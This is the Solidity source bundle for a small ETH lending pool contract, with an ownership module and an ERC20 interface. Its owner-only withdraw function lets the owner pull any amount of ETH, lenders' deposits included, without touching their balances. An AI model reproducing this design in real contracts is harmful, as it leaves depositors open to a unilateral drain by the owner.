creation_sourcecode: {{
    "language": "Solidity",
    "sources": {
      "OperaLendingPool.sol": {
        "content": "pragma solidity ^0.8.17;\n//SPDX-License-Identifier: MIT\nimport \"Auth.sol\";\nimport \"IERC20.sol\";\n\ncontract OperaPool is Auth {\n    uint256 public totalEthLent;\n    uint256 public totalAvailableEth;\n    uint256 public numberOfLenders;\n    uint256 public borrowLimit = 30;\n    uint256 public _tokenDecimals = 1 * 10 ** 17;\n    bool public borrowingEnable = true;\n    mapping(address => uint256) public usersCurrentLentAmount;\n    mapping(uint256 => address) public lenderIdToAddress;\n    mapping(address => uint256) public lenderAddressToId;\n    mapping(address => bool) public authorizedFactoryAddresses;\n\n    event ethMoved(\n        address account,\n        uint256 amount,\n        uint256 code,\n        uint256 blocktime\n    ); // 1 lent 2 borrowed 3 returned 4 withdrawn\n\n    event factoryStatusChange(address factoryAddress, bool status);\n\n    constructor() Auth(msg.sender) {}\n\n    modifier onlyFactoryAuthorized() {\n        require(\n            authorizedFactoryAddresses[msg.sender],\n            \"only factory contracts can borrow eth\"\n        );\n        _;\n    }\n\n    function updateFactoryAuthorization(\n        address addy,\n        bool status\n    ) external onlyOwner {\n        authorizedFactoryAddresses[addy] = status;\n        emit factoryStatusChange(addy, status);\n    }\n\n    function updateBorrowLimit(uint256 limit) external onlyOwner {\n        borrowLimit = limit;\n    }\n    function updateUnitDecimals(uint256 amount) external onlyOwner {\n        _tokenDecimals = amount;\n    }\n\n    function updateBorrowingEnabled(bool status) external onlyOwner {\n        borrowingEnable = status;\n    }\n\n    function lendForAddress(address addy) external payable returns (bool) {\n        require(\n            msg.value > 0 && msg.value % _tokenDecimals == 0,\n            \"Only send full ether.\"\n        );\n        if (lenderAddressToId[addy] == 0) {\n            lenderAddressToId[addy] = numberOfLenders + 1;\n            lenderIdToAddress[numberOfLenders + 1] = addy;\n            numberOfLenders += 1;\n        }\n        uint256 amountReceived = msg.value / _tokenDecimals;\n        emit ethMoved(addy, amountReceived, 1, block.timestamp);\n        totalEthLent += amountReceived;\n\n        usersCurrentLentAmount[addy] += amountReceived;\n        totalAvailableEth += amountReceived;\n\n        return true;\n    }\n\n    receive() external payable {}\n\n    function lendEth() external payable returns (bool) {\n        require(\n            msg.value > 0 && msg.value % _tokenDecimals == 0,\n            \"Only send full ether.\"\n        );\n        if (lenderAddressToId[msg.sender] == 0) {\n            lenderAddressToId[msg.sender] = numberOfLenders + 1;\n            lenderIdToAddress[numberOfLenders + 1] = msg.sender;\n            numberOfLenders += 1;\n        }\n        uint256 amountReceived = msg.value / _tokenDecimals;\n        emit ethMoved(msg.sender, amountReceived, 1, block.timestamp);\n        totalEthLent += amountReceived;\n\n        usersCurrentLentAmount[msg.sender] += amountReceived;\n        totalAvailableEth += amountReceived;\n\n        return true;\n    }\n\n    function borrowEth(uint256 _amount) external onlyFactoryAuthorized {\n        require(_amount <= totalAvailableEth, \"Not Enough eth to borrow\");\n        require(_amount > 0, \"Cannot borrow 0\");\n        require(borrowingEnable, \"Borrowing is not enabled.\");\n        require(_amount <= borrowLimit, \"Can't borrow that much.\");\n        totalAvailableEth -= _amount;\n        payable(msg.sender).transfer(_amount * _tokenDecimals);\n        emit ethMoved(msg.sender, _amount, 2, block.timestamp);\n    }\n\n    function returnLentEth(uint256 amountEth) external payable returns (bool) {\n        require(\n            (amountEth * _tokenDecimals) - msg.value == 0,\n            \"Did not send enough eth.\"\n        );\n\n        emit ethMoved(msg.sender, amountEth, 3, block.timestamp);\n        totalAvailableEth += amountEth;\n\n        return true;\n    }\n\n    function withdrawLentEth(uint256 _amountEther) external payable {\n        require(\n            usersCurrentLentAmount[msg.sender] >= _amountEther,\n            \"You Did not lend that much.\"\n        );\n\n        require(_amountEther > 0, \"Cant withdraw 0.\");\n        require(_amountEther <= totalAvailableEth, \"Not enough eth available.\");\n        if (usersCurrentLentAmount[msg.sender] == _amountEther) {\n            uint256 tempIdOfUser = lenderAddressToId[msg.sender];\n            address addressOfLastUser = lenderIdToAddress[numberOfLenders];\n            if (addressOfLastUser != msg.sender) {\n                delete lenderAddressToId[msg.sender];\n                lenderAddressToId[addressOfLastUser] = tempIdOfUser;\n                lenderIdToAddress[tempIdOfUser] = addressOfLastUser;\n                delete lenderIdToAddress[numberOfLenders];\n                numberOfLenders -= 1;\n            } else {\n                delete lenderAddressToId[msg.sender];\n                delete lenderIdToAddress[tempIdOfUser];\n                numberOfLenders -= 1;\n            }\n        }\n        usersCurrentLentAmount[msg.sender] -= _amountEther;\n        totalAvailableEth -= _amountEther;\n        totalEthLent -= _amountEther;\n        payable(msg.sender).transfer(_amountEther * _tokenDecimals);\n        emit ethMoved(msg.sender, _amountEther, 4, block.timestamp);\n    }\n\n    //safe gaurd so no funds get locked\n    function withdraw(uint256 amount) external onlyOwner {\n        payable(owner).transfer(amount);\n    }\n\n    function rescueToken(address token, uint256 amount) external onlyOwner {\n        IERC20 tokenToRescue = IERC20(token);\n        tokenToRescue.transfer(owner, amount);\n    }\n\n    function removeExcess() external payable onlyOwner {\n        require(\n            address(this).balance > totalAvailableEth * _tokenDecimals,\n            \"There is no excess eth\"\n        );\n        uint256 excessAmount = address(this).balance -\n            (totalAvailableEth * _tokenDecimals);\n        payable(owner).transfer(excessAmount);\n    }\n}\n"
      },
      "Auth.sol": {
        "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.17;\n\nabstract contract Auth {\n    address internal owner;\n    mapping(address => bool) internal authorizations;\n\n    constructor(address _owner) {\n        owner = _owner;\n        authorizations[_owner] = true;\n    }\n\n    modifier onlyOwner() {\n        require(isOwner(msg.sender), \"!OWNER\");\n        _;\n    }\n\n    modifier authorized() {\n        require(isAuthorized(msg.sender), \"!AUTHORIZED\");\n        _;\n    }\n\n    function authorize(address adr) public onlyOwner {\n        authorizations[adr] = true;\n    }\n\n    function unauthorize(address adr) public onlyOwner {\n        authorizations[adr] = false;\n    }\n\n    function isOwner(address account) public view returns (bool) {\n        return account == owner;\n    }\n\n    function isAuthorized(address adr) public view returns (bool) {\n        return authorizations[adr];\n    }\n\n    function transferOwnership(address payable adr) public onlyOwner {\n        owner = adr;\n        authorizations[adr] = true;\n        emit OwnershipTransferred(adr);\n    }\n\n    event OwnershipTransferred(address owner);\n}\n"
      },
      "IERC20.sol": {
        "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.17;\n\ninterface IERC20 {\n    function totalSupply() external view returns (uint256);\n    function balanceOf(address account) external view returns (uint256);\n    function transfer(address recipient, uint256 amount) external returns (bool);\n    function allowance(address owner, address spender) external view returns (uint256);\n    function approve(address spender, uint256 amount) external returns (bool);\n    function transferFrom(\n        address sender,\n        address recipient,\n        uint256 amount\n    ) external returns (bool);\n    event Transfer(address indexed from, address indexed to, uint256 value);\n    event Approval(address indexed owner, address indexed spender, uint256 value);\n}\n"
      }
    },
    "settings": {
      "evmVersion": "istanbul",
      "optimizer": {
        "enabled": true,
        "runs": 200
      },
      "libraries": {
        "OperaLendingPool.sol": {}
      },
      "outputSelection": {
        "*": {
          "*": [
            "evm.bytecode",
            "evm.deployedBytecode",
            "devdoc",
            "userdoc",
            "metadata",
            "abi"
          ]
        }
      }
    }
  }}